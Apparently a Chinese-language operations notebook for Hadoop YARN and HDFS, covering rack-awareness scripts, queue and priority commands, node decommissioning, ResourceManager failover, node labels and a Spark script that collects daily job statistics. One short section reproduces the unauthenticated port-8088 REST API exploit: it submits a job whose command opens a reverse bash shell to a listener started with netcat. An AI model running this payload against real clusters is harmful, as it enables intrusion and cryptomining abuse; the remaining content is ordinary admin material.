rack 机架感知
1 2 3 4 5 6 rack = { "192.168.0.1" :"/room1-rack1" ,"192.168.0.2" :"/room1-rack1" ,"192.168.0.3" :"/room1-rack2" ,}
按网段划分v1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import netaddrimport syssys.argv.pop(0 ) netmask = '255.255.255.0' for ip in sys.argv: address = '{0}/{1}' .format (ip, netmask) try : network_address = netaddr.IPNetwork(address).network print ("/{0}" .format (network_address)) except : print ("/rack-unknown" )
按网段划分v2-文本切割
1 2 3 4 5 6 7 8 9 10 11 12 import syssys.argv.pop(0 ) for ip in sys.argv: try : rack = "/rack-" + "_" .join(ip.split("." )[:3 ]) print (rack) except : print ("/rack-unknown" )
当传入节点IP时,脚本返回对应的机架信息。
重启服务 :完成配置后,需要重启HDFS和YARN服务,使机架感知功能生效
8088挖矿漏洞 发起获取appID curl -X POST http://10.33.21.190:8088/ws/v1/cluster/apps/new-application
新建任务信息文件1.json反弹shell { ‘application-id’: ‘application_1639358619460_0019’, ‘application-name’: ‘get-shell’, ‘am-container-spec’: { ‘commands’: { ‘command’: ‘/bin/bash -i >& /dev/tcp/10.17.41.129/8888 0>&1’ } }, ‘application-type’: ‘YARN’ }
启动监听 nc -lvvp 8888
发起任务 curl -s -i -X POST -H ‘Accept: application/json’ -H ‘Content-Type: application/json’ http://10.33.21.190:8088/ws/v1/cluster/apps –data-binary @1.json
application修改队列 yarn application -movetoqueue application_1667986310829_98856 -queue spark
application调整优先级 yarn application -appId application_1754591108965_187459 -updatePriority 4
INFO org.apache.hadoop.yarn.server.resourcemanager.RMAuditLogger: USER=hadoop IP=10xx OPERATION=Update Application Priority TARGET=ClientRMService RESULT=SUCCESS APPID=application_1754591108965_187538
1 2 3 4 5 6 7 8 yarn.cluster.max-application-priority 限定最大值 默认-1 0 = VERY_LOW 1 = LOW 2 = NORMAL(默认) 3 = HIGH 4 = VERY_HIGH ✅ 最高
查看日志 Yarn:http://xx:8088/cluster?user.name=yarn http://xx:8088/proxy/application_1660270769302_1399007 hdfs dfs -ls /spark2-history/ |grep application_1660270769302_1399007 hdfs dfs -ls /app-logs/xx/logs/application_1660270769302_3305625 |head
yarn logs -appOwner xx -applicationId application_1660270769302_3305625 -out t1 find t1 -name “01_000001 “
日志清理 需要启动历史服务器才会按log-aggregation的配置自动定时清理
1 2 $HADOOP_HOME /sbin/mr-jobhistory-daemon.sh start historyserver$HADOOP_HOME /sbin/mr-jobhistory-daemon.sh stop historyserver
队列退役 修改yarn.scheduler.capacity.<queue-path>.state=STOPPED new applications cannot be submitted to itself or any of its child queues. Existing applications continue to completion, thus the queue can be drained gracefully
节点服役退役 节点服役 hadoop/etc/hadoop/dfs.include hdfs dfsadmin -refreshNodes
节点退役 yarn echo “10.17.41.133” > nodemanager.excludes
vi yarn-site.xml
1 2 3 4 <property > <name > yarn.resourcemanager.nodes.exclude-path</name > <value > /data/hadoop-2.8.3/etc/hadoop/nodemanager.excludes</value > </property >
yarn rmadmin -refreshNodes -g [timeout in seconds] -client|server
3小时内不接受任务并等待 yarn rmadmin -refreshNodes -g 10800 -server
节点NM进程会自动结束
主备切换 不影响cluster模式的任务,影响client模式的
1 2 3 4 5 6 7 8 9 yarn rmadmin -getAllServiceState yarn rmadmin -transitionToStandby --forcemanual rm2 yarn rmadmin -transitionToActive --forcemanual rm1 $HADOOP_HOME /sbin/yarn-daemon.sh stop resourcemanager$HADOOP_HOME /sbin/yarn-daemon.sh start resourcemanager yarn rmadmin -getAllServiceState yarn rmadmin -transitionToStandby --forcemanual rm1 yarn rmadmin -transitionToActive --forcemanual rm2 yarn rmadmin -getAllServiceState
切换相关问题 节点被白名单拒绝后,bpServices问题 hdfs dfsadmin -refreshNamenodes datanodehost:port
node-label
一个节点只有一个标签,默认属于DEFAULT
通过配置队列使用标签资源的比例,一个标签可供多个队列使用不同比例
只有Capacity Scheduler调度器支持Node Labels分区调度
标签分为排他和非排他
(默认)排他:只属于该标签资源
非排他:标签也属于DEFAULT,与Default共享资源
启动配置 yarn-site.xml
1 2 3 4 5 6 yarn.node-labels.fs-store.root-dir|hdfs:///yarn/node-labels/ yarn.node-labels.enabled|true yarn.node-labels.configuration-type| “centralized”, “delegated-centralized” or “distributed”. Default value is “centralized”. yarn.resourcemanager.scheduler.class|org.apache.hadoop.yarn.server.resourcemanager.scheduler.capacity.CapacityScheduler
capacity-scheduler.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <configuration > <property > <name > yarn.scheduler.capacity.root.queues</name > <value > default,Queue1</value > </property > <property > <name > yarn.scheduler.capacity.root.default.capacity</name > <value > 100</value > </property > <property > <name > yarn.scheduler.capacity.root.Queue1.capacity</name > <value > 0</value > </property > <property > <name > yarn.scheduler.capacity.root.Queue1.maximum-applications</name > <value > 20</value > </property > <property > <name > yarn.scheduler.capacity.root.Queue1.accessible-node-labels</name > <value > DEMO</value > </property > <property > <name > yarn.scheduler.capacity.root.Queue1.default-node-label-expression</name > <value > DEMO</value > </property > <property > <name > yarn.scheduler.capacity.root.Queue1.accessible-node-labels.DEMO.capacity</name > <value > 100</value > </property > <property > <name > yarn.scheduler.capacity.root.Queue1.accessible-node-labels.DEMO.maximum-capacity</name > <value > 100</value > </property > <configuration >
yarn rmadmin -refreshQueues
操作命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 yarn rmadmin -addToClusterNodeLabels "label_1(exclusive=true/false),label_2(exclusive=true/false)" #默认为排他 yarn rmadmin -removeFromClusterNodeLabels label_1 yarn cluster --list-node-labels **Centralized** 必须是主机名,对应yarn管理页 yarn rmadmin -replaceLabelsOnNode "主机名[:port]=label1 主机名=label2" yarn node -status <NodeId> # yarn rmadmin -addToClusterNodeLabels "ck" yarn rmadmin -replaceLabelsOnNode "a51-dg-hcy-bi-save-001=ck" #等号右边为空则清空
删除队列 1 2 3 4 5 6 7 8 9 10 11 先更新状态停止 <property> <name>yarn.scheduler.capacity.root.a19.state</name> <value>STOPPED</value> </property> yarn rmadmin -refreshQueues 再删除其他配置,再删除nodeLabel yarn rmadmin -refreshQueues
分布式shell 配合node-label
1 2 3 4 5 6 7 8 9 10 11 12 13 yarn rmadmin -addToClusterNodeLabels "test(exclusive=false)" yarn rmadmin -replaceLabelsOnNode "a51-dg-hcy-bi-save-001=test" hadoop jar $HADOOP_HOME /share/hadoop/yarn/hadoop-yarn-applications-distributedshell-*.jar \ hdfs:///scripts -jar $HADOOP_HOME /share/hadoop/yarn/hadoop-yarn-applications-distributedshell-*.jar \ -shell_command /bin/ls -shell_args /home/hadoop \ -shell_script xx \ -appname "1" --queue test yarn logs -applicationId application_1660270769302_xxx yarn rmadmin -replaceLabelsOnNode "a51-dg-hcy-bi-save-001="
zk断连问题 若RM断连zk在以下时间内恢复访问,则正常;否则,RM会切换到standby并重置任务信息,所以在运行任务均消失。
1 2 3 4 <property > <name > yarn.resourcemanager.zk-timeout-ms</name > <value > 60000</value > </property >
任务信息提取分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import scala.io.Source import java.text.SimpleDateFormat import java.util.Date val rmHost = "rm-host:8088" val targetDate = "2026-10-29" val sdf = new SimpleDateFormat ("yyyy-MM-dd HH:mm:ss" )val startTime = sdf.parse(s"$targetDate 00:00:00" ).getTimeval endTime = sdf.parse(s"$targetDate 23:59:59" ).getTimeval url = s"http://$rmHost /ws/v1/cluster/apps?" + s"startedTimeBegin=$startTime &startedTimeEnd=$endTime &limit=10000" val response = Source .fromURL(url).mkStringimport org.json4s._import org.json4s.jackson.JsonMethods ._implicit val formats = DefaultFormats val json = parse(response)val apps = (json \ "apps" \ "app" ).extract[List [Map [String , Any ]]]import spark.implicits._val df = apps.map { app => ( app.getOrElse("id" , "" ).toString, app.getOrElse("name" , "" ).toString, app.getOrElse("user" , "" ).toString, app.getOrElse("queue" , "" ).toString, app.getOrElse("type" , "" ).toString, app.getOrElse("state" , "" ).toString, app.getOrElse("finalStatus" , "" ).toString, app.getOrElse("startedTime" , 0 L).toString.toLong, app.getOrElse("finishedTime" , 0 L).toString.toLong, app.getOrElse("elapsedTime" , 0 L).toString.toLong, app.getOrElse("allocatedMB" , 0 ).toString.toInt, app.getOrElse("allocatedVCores" , 0 ).toString.toInt, app.getOrElse("memorySeconds" , 0 L).toString.toLong, app.getOrElse("vcoreSeconds" , 0 L).toString.toLong ) }.toDF( "app_id" , "name" , "user" , "queue" , "type" , "state" , "final_status" , "start_time_ms" , "finish_time_ms" , "elapsed_ms" , "alloc_mb" , "alloc_vcores" , "mem_sec" , "vcore_sec" ) val resultDf = df.withColumn("start_time" , from_unixtime($"start_time_ms" / 1000 )) .withColumn("finish_time" , from_unixtime($"finish_time_ms" / 1000 )) .drop("start_time_ms" , "finish_time_ms" ) resultDf.show(false ) println(s"Total applications: ${resultDf.count()} " ) resultDf.write .mode("overwrite" ) .format("parquet" ) .option("path" , s"/tmp/yarn_app_daily/dt=$targetDate " ) .save()